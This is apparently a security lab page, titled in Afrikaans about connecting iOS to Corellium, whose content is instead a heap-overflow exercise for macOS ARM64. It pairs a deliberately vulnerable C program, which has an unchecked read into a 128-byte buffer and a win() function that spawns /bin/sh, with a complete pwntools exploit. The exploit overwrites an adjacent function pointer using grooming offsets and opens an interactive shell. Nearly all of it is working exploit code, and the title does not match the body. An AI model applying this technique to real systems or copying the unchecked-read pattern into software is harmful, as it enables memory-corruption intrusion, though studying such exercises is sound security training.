iOS Hoe om verbinding te maak met Corellium

Reading time: 6 minutes

Vuln Code

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((noinline))
static void safe_cb(void) {
puts("[*] safe_cb() called — nothing interesting here.");
}

__attribute__((noinline))
static void win(void) {
puts("[+] win() reached — spawning shell...");
fflush(stdout);
system("/bin/sh");
exit(0);
}

typedef void (*cb_t)(void);

typedef struct {
cb_t cb;          // <--- Your target: overwrite this with win()
char tag[16];     // Cosmetic (helps make the chunk non-tiny)
} hook_t;

static void fatal(const char *msg) {
perror(msg);
exit(1);
}

int main(void) {
// Make I/O deterministic
setvbuf(stdout, NULL, _IONBF, 0);

// Print address leak so exploit doesn't guess ASLR
printf("[*] LEAK win() @ %p\n", (void*)&win);

// 1) Allocate the overflow buffer
size_t buf_sz = 128;
char *buf = (char*)malloc(buf_sz);
if (!buf) fatal("malloc buf");
memset(buf, 'A', buf_sz);

// 2) Allocate the hook object (likely adjacent in same magazine/size class)
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
if (!h) fatal("malloc hook");
h->cb = safe_cb;
memcpy(h->tag, "HOOK-OBJ", 8);

// A tiny bit of noise to look realistic (and to consume small leftover holes)
void *spacers[16];
for (int i = 0; i < 16; i++) {
spacers[i] = malloc(64);
if (spacers[i]) memset(spacers[i], 0xCC, 64);
}

puts("[*] You control a write into the 128B buffer (no bounds check).");
puts("[*] Enter payload length (decimal), then the raw payload bytes.");

// 3) Read attacker-chosen length and then read that many bytes → overflow
char line[64];
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
unsigned long n = strtoul(line, NULL, 10);

// BUG: no clamp to 128
ssize_t got = read(STDIN_FILENO, buf, n);
if (got < 0) fatal("read");
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);

// 4) Trigger: call the hook's callback
puts("[*] Calling h->cb() ...");
h->cb();

puts("[*] Done.");
return 0;
}

Kompileer dit met:

clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c

Exploit

#!/usr/bin/env python3
# Heap overflow exploit for macOS ARM64 CTF challenge
#
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
# a function pointer in an adjacent heap chunk.
#
# Key insights:
# 1. macOS uses different heap zones for different allocation sizes
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
#
from pwn import *
import re
import sys
import struct
import platform

# Detect architecture and set context accordingly
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
context.clear(arch='aarch64')
else:
context.clear(arch='amd64')

BIN = './heap_groom'

def parse_leak(line):
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
if not m:
log.failure("Couldn't parse leak")
sys.exit(1)
return int(m.group(1), 16)

def build_payload(win_addr, extra_pad=0):
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
padding = b'A' * 128
if extra_pad:
padding += b'B' * extra_pad
# Add the win address to overwrite the function pointer
payload = padding + p64(win_addr)
return payload

def main():
# On macOS, we need to disable the Nano zone for adjacent allocations
import os
env = os.environ.copy()
env['MallocNanoZone'] = '0'

# The correct padding with MallocNanoZone=0 is 432 bytes
# This makes the total distance 560 bytes (128 buffer + 432 padding)
# Try the known working value first, then alternatives in case of heap variation
candidates = [
432,    # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
424,    # Try slightly less in case of alignment differences
440,    # Try slightly more
416,    # 16 bytes less
448,    # 16 bytes more
0,      # Direct adjacency (unlikely but worth trying)
]

log.info("Starting heap overflow exploit for macOS...")

for extra in candidates:
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
p = process(BIN, env=env)

# Read leak line
leak_line = p.recvline()
win_addr = parse_leak(leak_line)
log.success(f"win() @ {hex(win_addr)}")

# Skip prompt lines
p.recvuntil(b"Enter payload length")
p.recvline()

# Build and send payload
payload = build_payload(win_addr, extra_pad=extra)
total_len = len(payload)

log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")

# Send length and payload
p.sendline(str(total_len).encode())
p.send(payload)

# Check if we overwrote the function pointer successfully
try:
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
p.recvline(timeout=0.5)  # Skip the "..." part

# Check if we hit win()
response = p.recvline(timeout=0.5)
if b"win() reached" in response:
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
log.success("Shell spawned, entering interactive mode...")
p.interactive()
return
elif b"safe_cb() called" in response:
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
else:
log.info(f"Failed with extra_pad={extra}, unexpected response")
except:
log.info(f"Failed with extra_pad={extra}, likely crashed")

p.close()

log.failure("All padding attempts failed. The heap layout might be different.")
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")

if __name__ == '__main__':
main()